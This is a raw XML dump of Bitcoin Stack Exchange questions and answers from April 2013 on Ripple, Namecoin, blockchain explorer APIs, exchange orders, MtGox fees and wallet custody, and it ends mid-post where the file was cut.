  <row Id="10183" PostTypeId="1" CreationDate="2013-04-24T22:01:36.517" Score="2" ViewCount="939" Body="&lt;p&gt;Currently there are only 100 billion ripples (XRP), which are slowly being distributed, and a fraction of a ripple is destroyed with each transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future if we run out of ripples, or if the developers decide that they need to have more ripples for some reason (to pay their bills?), then would it be possible to create more? If yes, what is the exact process of doing this? Does it require &lt;a href=&quot;https://ripple.com/wiki/Consensus&quot; rel=&quot;nofollow&quot;&gt;consensus&lt;/a&gt;? Or is it just an edit-compile-deploy?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-25T00:10:12.137" Title="Is it possible to create more ripples?" Tags="|ripple|money-supply|" AnswerCount="1" CommentCount="6" ClosedDate="2013-04-26T03:01:47.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="10184" PostTypeId="2" ParentId="10177" CreationDate="2013-04-24T22:04:41.420" Score="3" Body="&lt;p&gt;First, I'd like to note that Namecoin and Bitcoin are separate - they share a lot of code, but they have different blockchains and networks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me talk about the problem that Bitcoin solves: double spending. It solves this by having nodes vote with their hashpower on what they think the most accurate picture of the network is. This creates an ordered list of transactions. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does Namecoin basically work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It turns out that having an ordered list of transactions is exactly the sort of thing you need to create a naming system that provides all three elements of &lt;a href=&quot;http://en.wikipedia.org/wiki/Zooko%27s_triangle&quot; rel=&quot;nofollow&quot;&gt;Zooko's triangle&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Secure&lt;/li&gt;&#xA;  &lt;li&gt;Memorable&lt;/li&gt;&#xA;  &lt;li&gt;Decentralized&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Registering a domain looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You publish a transaction that says, &quot;You can find mysite.bit at 23.12.34.67&quot;&lt;/li&gt;&#xA;&lt;li&gt;Other nodes include that into a block.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's about as difficult to steal your domain name when it has X confirmations as it is to double spend a transaction which has X confirmations.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Doesn't it mean that we will eventually run out of the supply of Namecoins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's true, but the supply of nice sounding memorable domain names is so small that it makes sense for there to be a cost to registering domain names en masse.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-24T22:04:41.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10185" PostTypeId="1" AcceptedAnswerId="10201" CreationDate="2013-04-24T22:08:35.290" Score="7" ViewCount="2950" Body="&lt;p&gt;Bitcoin's vulnerabilities are &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses&quot;&gt;well documented&lt;/a&gt;. Is there are similar document for Ripple?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2020-02-03T16:11:55.837" Title="What are Ripple's weaknesses?" Tags="|ripple|weaknesses|" AnswerCount="2" CommentCount="1" ClosedDate="2020-02-09T10:58:05.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="10186" PostTypeId="2" ParentId="10036" CreationDate="2013-04-24T22:21:57.853" Score="2" Body="&lt;p&gt;There are four really authoritative places for Bitcoin-related information that I can think of.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;http://bitcoin.org&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.org&lt;/a&gt; homepage, which is managed by the core Bitcoin developers. All names listed on that site and references made can be considered authoritative.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bitcointalk.org&quot; rel=&quot;nofollow&quot;&gt;BitcoinTalk.org&lt;/a&gt;, this was the homepage for the Bitcoin community from the start. Most of the first ideas were created here and still this is the best place to get information from other authoritative people strongly related to Bitcoin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Main_Page&quot; rel=&quot;nofollow&quot;&gt;The Bitcoin Wiki&lt;/a&gt;, were you can find all technical specifications of the protocol as well as more basic information about how to buy, sell or use bitcoins. The wiki is maintained by the developers as well as insiders that helped shaping the protocol.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin&quot; rel=&quot;nofollow&quot;&gt;Bitcoin on GitHub&lt;/a&gt;, were development of the main client happens and all changes to the protocol are implemented for the first time. You can also find a link to this place on the Bitcoin homepage.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-24T22:21:57.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10187" PostTypeId="2" ParentId="10183" CreationDate="2013-04-24T22:42:44.067" Score="3" Body="&lt;p&gt;No. The amount of Ripples is fixed and, unlike with Bitcoin, available from the day it was created. The amount is fixed to 100 billion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this amount is for the main &quot;&lt;a href=&quot;https://ripple.com/wiki/Ledger&quot; rel=&quot;nofollow&quot;&gt;Ledger&lt;/a&gt;&quot; which is currently used by everyone using Ripple. You can see a ledger as similar to a Bitcoin block chain. Everyone can, if he would like, create a new Ledger, just like everyone can start a new block chain.&#xA;Currently, though, there is only one Ledger really used and that's the one the Ripple founders started together with Coinbase and consists of 100 billion Ripples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These 100 billion Ripples or XRP are dividable into &quot;&lt;a href=&quot;https://ripple.com/wiki/Ripple_credits&quot; rel=&quot;nofollow&quot;&gt;drops&lt;/a&gt;&quot;, which are 1 millionth of a Ripple. This means that 100 million billion drops exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the transaction fee for Ripple currently on 10 drops, this means that even with thousand transactions per second, they will only run out in 634,195 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Disclosure: Since Ripple is fairly young, I'm also new to it. I did some reading and tried to understand it's foundations, taking the Ripple wiki as primary reference. It's very much possible that I misunderstood some aspects of the system or that the wiki is not fully correct.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-25T00:10:12.137" LastActivityDate="2013-04-25T00:10:12.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10188" PostTypeId="1" CreationDate="2013-04-24T22:47:57.947" Score="9" ViewCount="12262" Body="&lt;p&gt;It seems like a very cool way to decentralize a DNS table (name -&gt; IP address, right?) But I don't get why it has an exchange value to BTC or USD... Is there a fixed NMC price to register a domain name? Is Casascius going to stamp NMC keys onto brass coins too?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2015-03-27T19:08:57.730" Title="Is namecoin a currency?" Tags="|namecoin|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10192" PostTypeId="2" ParentId="10188" CreationDate="2013-04-24T23:19:18.973" Score="6" Body="&lt;p&gt;Not really. &lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot;&gt;According to the Bitcoin Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Namecoin is an alternative distributed Domain Name System (DNS) on the&#xA;  basis of Bitcoin software.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In contrast to a currency, according to &lt;a href=&quot;http://en.wikipedia.org/wiki/Currency&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A much more general use of the word currency is anything that is used&#xA;  in any circumstances, as a medium of exchange. In this use, &quot;currency&quot;&#xA;  is a synonym for the concept of money.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is clear that Namecoin is not primarily intended as a medium of exchange, but with a more specific design in mind. The fact that it &lt;em&gt;can&lt;/em&gt; be exchanged does not mean that it is used as a medium to exchange value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more detailed explanation about what Namecoin really is, check out the &lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot;&gt;Bitcoin wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-05-10T00:17:42.243" LastActivityDate="2013-05-10T00:17:42.243" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10193" PostTypeId="1" AcceptedAnswerId="10194" CreationDate="2013-04-25T00:50:19.263" Score="4" ViewCount="2180" Body="&lt;p&gt;When I query an address using either service, are they simply querying the latest block that has been mined?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do those services have nodes in the network that collect data that has not yet been codified in a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, my queries return the &quot;correct&quot; information nearly instantly, but sometimes it takes a long time for the most recent transactions to be reflected- wondering why that's the case. Seems strange that I could send btc, have a query on the receive address return the up-to-date balance within 3 seconds, and then immediately make another transaction and make a successful query, whereas at other times the API query won't reflect the latest transaction for a long time. Insights appreciated.&lt;/p&gt;&#xA;" OwnerUserId="4608" LastEditorUserId="1307" LastEditDate="2013-04-25T02:12:45.123" LastActivityDate="2013-04-25T02:12:45.123" Title="How do APIs like Blockchain.info and BlockExplorer work?" Tags="|client|blockchain.info|api|blockexplorer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10194" PostTypeId="2" ParentId="10193" CreationDate="2013-04-25T01:19:52.760" Score="4" Body="&lt;p&gt;Public Bitcoin inspection services like &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;BlockExplorer&lt;/a&gt; and &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;BlockChain.info&lt;/a&gt; &lt;strong&gt;work almost exactly like the regular Bitcoin client&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They operate as a node in the Bitcoin network and so, like all other nodes, store the complete block chain. This block chain consists of all transactions ever made and are used to calculate the balance of an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like other nodes, they as well receive transactions from other nodes and will likely also show them before they are confirmed (of course explicitly indicating they aren't). The time it takes for a transaction to reach all nodes varies. Not all nodes know about all other nodes so &lt;strong&gt;it can take a few seconds for a transaction to get noticed by all nodes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on &lt;strong&gt;whether or not the service caches information&lt;/strong&gt;, some time can be between the arrival of the transaction of the node and the time it shows up on the website. You will probably understand that when you query 10 times shortly after each other for the same data, it is very costly to do the same lookup in the block chain index multiple times. Because of this, I think it's likely that most of these clients do some sort of caching, but not too extensive. Probably a minute maximum, because they know that in Bitcoin transaction processing, much can happen in that time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that, the loading time can also depend on &lt;strong&gt;the load of the server&lt;/strong&gt;. When multiple users try to access the balance for their address at the same time, some of them will likely have to wait.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-25T01:19:52.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10195" PostTypeId="1" AcceptedAnswerId="10231" CreationDate="2013-04-25T02:52:23.257" Score="6" ViewCount="3966" Body="&lt;p&gt;If a bitcoin exchange offers Market Orders, let's suppose there are X buy orders at market price, and Y sell orders at market price  (no limit orders):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are these matched and at what price, since there is no &quot;lowest or highest&quot; price currently on the order book?&lt;/p&gt;&#xA;" OwnerUserId="4626" LastActivityDate="2013-04-26T22:58:33.067" Title="What happens if an exchange's order book has only Market Orders" Tags="|exchanges|trading|exchange-rate|exchange-order|" AnswerCount="3" CommentCount="4" ClosedDate="2013-05-13T04:26:42.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="10197" PostTypeId="1" AcceptedAnswerId="10218" CreationDate="2013-04-25T04:26:21.087" Score="3" ViewCount="873" Body="&lt;p&gt;I'm starting up a new bitcoin based commerce site and am wondering how many transactions per second the bitcoin JSON-RPC API can accept? A user can have an account balance in bitcoin and I was initially thinking of storing all transactions in a database and then querying that to determine their account balance, but after reading up on blockchain reorgs and whatnot decided against it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it feasible to just use the bitcoin API directly, or should I implement some sort of caching/load balancing?&lt;/p&gt;&#xA;" OwnerUserId="4627" LastEditorUserId="196" LastEditDate="2013-04-25T09:41:53.630" LastActivityDate="2013-04-25T17:28:22.330" Title="bitcoind json-rpc requests per second" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10199" PostTypeId="2" ParentId="10195" CreationDate="2013-04-25T05:23:00.427" Score="-1" Body="&lt;p&gt;Contractually, the market BUY order had no SELL (ASKs) to trade against.  So that order remains unfilled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time the market SELL order had no BUY (BIDs) to trade against.  So that order also remains open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And they remain open until either cancelled or until a limit order arrives.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-25T05:23:00.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10200" PostTypeId="1" AcceptedAnswerId="11310" CreationDate="2013-04-25T05:33:15.117" Score="4" ViewCount="641" Body="&lt;p&gt;&lt;strong&gt;I'm thinking here specifically of instruments that take a Bitcoin-like approach to trusted parties, eliminating them wherever possible&lt;/strong&gt; and typically built with Bitcoin as their platform.  (As opposed to simply having a real-world trusted entity issue a Bitcoin-containing or Bitcoin-related financial instrument in the traditional method).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Financial instruments include things like bonds, stocks, contracts, additional currencies, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I know jgarzik was working on &lt;a href=&quot;https://github.com/jgarzik/smartcoin#readme&quot; rel=&quot;nofollow&quot;&gt;smartcoin&lt;/a&gt; for a while (has development stopped?) and there are things like this you can do with &lt;a href=&quot;http://www.bitcoinx.org/&quot; rel=&quot;nofollow&quot;&gt;coloured coins&lt;/a&gt;.  Can anyone offer some insight on what is actually being developed re: these and other approaches, and especially what has reached an implemented, usable level?&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2014-01-06T12:28:34.113" Title="What financial instruments are under development for Bitcoin?" Tags="|development|currencies|finance|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10201" PostTypeId="2" ParentId="10185" CreationDate="2013-04-25T05:34:28.257" Score="8" Body="&lt;p&gt;These are Ripple's largest known weaknesses (not including weaknesses common to Ripple and Bitcoin):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Because the Ripple network can't move actual fiat currencies, balances in Ripple act like bank balances. If the bank somehow defaults on its obligation, people won't actually have the money they thought they had. This is not a big problem if you're just using Ripple to make payments, but it's a weakness if you're using Ripple as a store of value for fiat currencies. Your money is only as safe as the &quot;bank&quot; that holds it for you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If some unified group were able to get control over a significant number of validators that other validators trusted, they could temporarily disable the Ripple network (by refusing to reach a consensus) until manual intervention by other validators removed them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ripple's internal mechanics are still largely untested. As happened with Bitcoin, problems may be discovered as people begin to heavily use the system. Ripple's scalability has only been tested in simulation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While the hope is that gateways will be all close enough to equal that people will be able to just sum their balances to get a sensible total, it's possible that different redemption policies or perceived trustworthiness will result in some balances being &quot;devalued&quot;. So you might deposit $10 at a gateway, get a &quot;$10&quot; balance in Ripple, but find that because your gateway is not considered reliable, nobody actually values that balance at $10.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;People might get tricked into extending trust to entities that are untrustworthy. We are already seeing &quot;you trust me and I'll trust you&quot; type offers. People may not realize that the system will give them what they ask for, giving them balances they have no way to collect on. Essentially, Ripple simply records balances. The system can't force people to settle them outside the system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The stability and possible future changes in the value of XRP is unknown. If XRP is usable as a bridging currency, that should make cross-currency payments cheaper. But there's no assurance that it will be.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Until the network is decentralized, OpenCoin is a single point of control and possible failure.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In exchange, Ripple provides a way to perform fast (ten seconds), cheap (less than a penny) cross-currency payments with no way to lose money unless someone you chose to trust defaults. Ripple provides decentralized exchanges between any number of currency pairs. Ripple provides a way to seamlessly federate payment systems so people who use one payment system can pay people who use another, even across currencies. Ripple's design requires no central authorities and OpenCoin is committed to making it an open source, decentralized payment network.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-25T05:43:11.950" LastActivityDate="2013-04-25T05:43:11.950" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10202" PostTypeId="2" ParentId="10180" CreationDate="2013-04-25T06:14:05.720" Score="19" Body="&lt;p&gt;The big advantage on the Bitcoin side is that its technology is now well-proven. Ripple's consensus system is the newcomer. Ripple was designed by people who had the benefit of seeing exactly what Bitcoin was doing and its strengths and weaknesses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple's consensus process can validate a transaction such that irreversibility is reasonably assured much more quickly. When a validator processes a transaction it signs the resulting final ledger. Those signatures are provided within seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin's proof of work scheme isn't path dependent. Ripple's consensus scheme is. This has advantages and disadvantages on both sides. Because proof of work is not path dependent, someone with sufficient hashing power can rewrite the past. However, the lack of path dependence also means that no state is required to determine the right chain. The rule for the winning chain is very simple -- the valid chain with the most work wins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest difference is how trust works. With a proof of work scheme, you must trust the majority of work. So long as the majority of hashing power remains in the hands of a large number of disjoint organizations, that's fine. However, if hashing power become consolidated, it's not clear what the fix would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Ripple's consensus scheme, you choose who you want to reach a consensus with and declare the system unusable if you cannot. One advantage here is that you can reliably detect if you can't reach consensus. With Bitcoin, if the Internet splits in half and you're on the side with less hashing power, you can only infer it as a statistical probability. With Ripple, if you're not reaching consensus with people, you know it immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another advantage is that if you ever do have an attack or disruption, you have signed cryptographic proof showing who did it and what they did. You can simply stop trying to reach a consensus with them and then they would have to start over from scratch to attempt such an attack again. Because the effort required is so great and the payoff so low, it's much less likely people will try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disadvantage here is that UNLs (lists of who you want to reach consensus with) must be maintained and if your UNL is broken, you can fail in various ways that get worse the more broken your UNL is. The downside of being in control is that you can shoot yourself in the foot. The upside is that you can do something if someone else tries to shoot you in the head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin could fairly easily adopt some of the principles of Ripple's consensus scheme and gain many of these benefits. For example, mining pools could sign a statement indicating which chain they are building on. In the event of a network split, this would make it rapidly clear whether you were still on the same chain as those pools. In the event of a bug-induced chain split, you'd quickly know that something was wrong and would be able to stop relying on transactions automatically rather than having to wait for a manual warning to go out.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-25T16:46:16.673" LastActivityDate="2013-04-25T16:46:16.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10203" PostTypeId="1" CreationDate="2013-04-25T06:16:16.957" Score="3" ViewCount="766" Body="&lt;p&gt;I want my app to be able to create addresses and be notified when an address receives a deposit. What I've tried so far doesn't work reliably enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the Coinbase API (address callbacks didn't seem to work at all) and Blockchain.info (sometimes it works fine, but usually it takes several minutes to several hours for the callback to fire).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other APIs that offer address creation with callbacks that don't involve running my own Bitcoin client, or is running your own client pretty much a necessity for reliable notification (within seconds)? Is anyone actually using Coinbase or Blockchain successfully? My service would need rather immediate notification of transfer (number of confirmations isn't important).&lt;/p&gt;&#xA;" OwnerUserId="4608" LastActivityDate="2013-08-23T18:15:35.660" Title="API with reliable address callbacks?" Tags="|blockchain.info|coinbase.com|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10204" PostTypeId="2" ParentId="10181" CreationDate="2013-04-25T06:23:29.400" Score="11" Body="&lt;p&gt;Ripple solves the double spend problem by consensus. Everyone who wants to run a server on the Ripple network picks a set of validators and tries to reach a consensus with them on which transactions are valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ripple equivalent of Bitcoin's 51% attack would be if some group obtained control over enough validators that the consensus process failed. Because people specifically select validators that they believe are unlikely to collude, this would be an exceptionally difficult thing to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If validators refuse to come to a consensus with each other, this is detectable to other validators. They then pronounce the network broken (because they don't know which side is right).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, servers would declare the Ripple network unusable automatically. Until the problem was resolved, no transaction results could be relied upon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution would consist of analyzing the signed validations and proposals to see which validators were being unreasonable and for all honest people to remove those validators from the UNLs (lists of validators they try to come to a consensus with).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would have to gain people's trust and then in the process of making the attack you would lose that trust and have to start over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By contrast, if someone acquired ASICs to attack Bitcoin, they could attack Bitcoin repeatedly. It's not clear how Bitcoin could respond to such an attack, but changing the mining algorithm (to make the attacker's ASICs worthless) is probably a non-starter as it would also make all the Bitcoin miners' investments in ASICs worthless as well.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-25T15:29:00.233" LastActivityDate="2013-04-25T15:29:00.233" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10205" PostTypeId="1" AcceptedAnswerId="10584" CreationDate="2013-04-25T07:44:38.323" Score="1" ViewCount="483" Body="&lt;p&gt;&lt;strong&gt;Does the &lt;a href=&quot;http://www.bitcoinx.org/&quot; rel=&quot;nofollow&quot;&gt;coloured coins&lt;/a&gt; spec (or an informal convention amongst its implementers) track coloured coins left to the miner of a transaction's block in the standard manner?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously the miner would have to be running a coloured-coin-friendly mining implementation, but I was wondering if anyone knows whether there is intended to be a way for a coloured-coin-recognising miner to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coloured coin spec document at&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/killerstorm/colored-coin-tools/blob/master/colors.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/killerstorm/colored-coin-tools/blob/master/colors.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Makes no mention of mining except to say that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fee[s] should be paid using uncolored coins. If it is absolutely necessary to pay [a] fee with colored coins, that color should go...last.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it intended that in this scenario the miner can &quot;collect&quot; the coins while retaining their colour?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2013-05-04T01:54:12.340" LastActivityDate="2013-05-04T13:42:44.443" Title="Can coloured coins be given to miners?" Tags="|colored-coins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10206" PostTypeId="1" CreationDate="2013-04-25T08:18:18.513" Score="12" ViewCount="86889" Body="&lt;p&gt;If I buy Bitcoins at Coinbase.com, should I leave them in my account at Coinbase.com, or should I move them into a Bitcoin Wallet? Why?&lt;/p&gt;&#xA;" OwnerUserId="4631" LastActivityDate="2018-03-07T19:48:16.330" Title="If I buy Bitcoins at Coinbase.com, should I leave them on Coinbase.com, or should I move them into a Bitcoin Wallet? Why?" Tags="|wallet|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10207" PostTypeId="1" CreationDate="2013-04-25T09:00:02.440" Score="4" ViewCount="5706" Body="&lt;p&gt;I just withdrew around EUR 940 from my MtGox account and transferred it to an account in a European bank that does not charge anything for incoming international transfers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MtGox charged me a bit over EUR 40 for making this direct transaction from their Japanese bank. I'm a verified user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it's my lack of experience with them, but I feel this is little short of robbery. 40 euros? Anybody has a similar experience?&lt;/p&gt;&#xA;" OwnerUserId="4632" LastEditorUserId="196" LastEditDate="2013-04-26T06:26:24.020" LastActivityDate="2013-04-26T06:26:24.020" Title="Around EUR 40 to withdraw from MtGox?" Tags="|mtgox|transaction-fees|withdrawal|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10208" PostTypeId="2" ParentId="10207" CreationDate="2013-04-25T09:10:46.017" Score="4" Body="&lt;p&gt;If you used the japanese bank its not a european transfer, but an international wire, and intermediate banks took their share on those fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often say &quot;with international wire, expect to loose 2-8% on random intermediate bank fees&quot;, sorry to tell you that but, thats the traditional obsolete banking system of the real world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afaik the mtgox fee for that is more or less 15.46 euro,you probably had around 25 more euros on &quot;intermediate bank fees&quot;, ask for more info to your bank about international wires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually receiving 900 for 940 sent is not so bad for an international transfer, be happy I seen worst ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, even with those &quot;intermediate&quot; added fees, it could be worth it when all other withdrawal options are delayed, like sepa or okpay taking 1-2 weeks .&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="558" LastEditDate="2013-04-25T21:02:41.803" LastActivityDate="2013-04-25T21:02:41.803" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10209" PostTypeId="1" AcceptedAnswerId="11276" CreationDate="2013-04-25T09:14:22.153" Score="3" ViewCount="496" Body="&lt;p&gt;Very often my mining hashrate falls from the usual ~550 Mhash/s to about 400-500 khash/s, and I have noticed direct correlation in time with messages like these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;btcguild.com:8332 25/04/2013 10:07:14, long poll: new block 0000014d5c6c4f89&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This happens across different pools. Stopping and starting the miner puts it back on the normal hashrate, but it means I have to look at the window 24h. I'm still very new to this but it seems like it switches to CPU mining? Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CPU i7-3770K&lt;/li&gt;&#xA;&lt;li&gt;GPU HD 7970&lt;/li&gt;&#xA;&lt;li&gt;16 GB RAM&lt;/li&gt;&#xA;&lt;li&gt;Windows 7 64bit&lt;/li&gt;&#xA;&lt;li&gt;Guiminer v2012-12-03&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1668" LastEditorUserId="5406" LastEditDate="2016-04-17T20:27:01.713" LastActivityDate="2016-04-17T20:27:01.713" Title="Hashrate falls by factor of 1000x when now block is found?" Tags="|hash|miner-configuration|hashpower|poclbm|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10211" PostTypeId="2" ParentId="10206" CreationDate="2013-04-25T11:21:59.593" Score="12" Body="&lt;p&gt;This depends solely on trust and ease of use.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Trust&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Who do you trust more? Coinbase's security setup or your own? Some things to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coinbase makes profit from it's website and so wants people to use it. For this reason they benefit from taking security serious. They probably have a dedicated team thinking about how to improve the security of their system.&lt;/li&gt;&#xA;&lt;li&gt;You own computer, let's say running Windows, is likely very much less secure. Any virus or malware can steal your coins. Also, without a backup, a disk failure will make you lose all your coins.&lt;/li&gt;&#xA;&lt;li&gt;While Coinbase's security might be much stronger than yours, it is very more likely to be targeted by hacking attempts. They store a very large amount of coins, while you only store your own.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Ease of use&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Running a 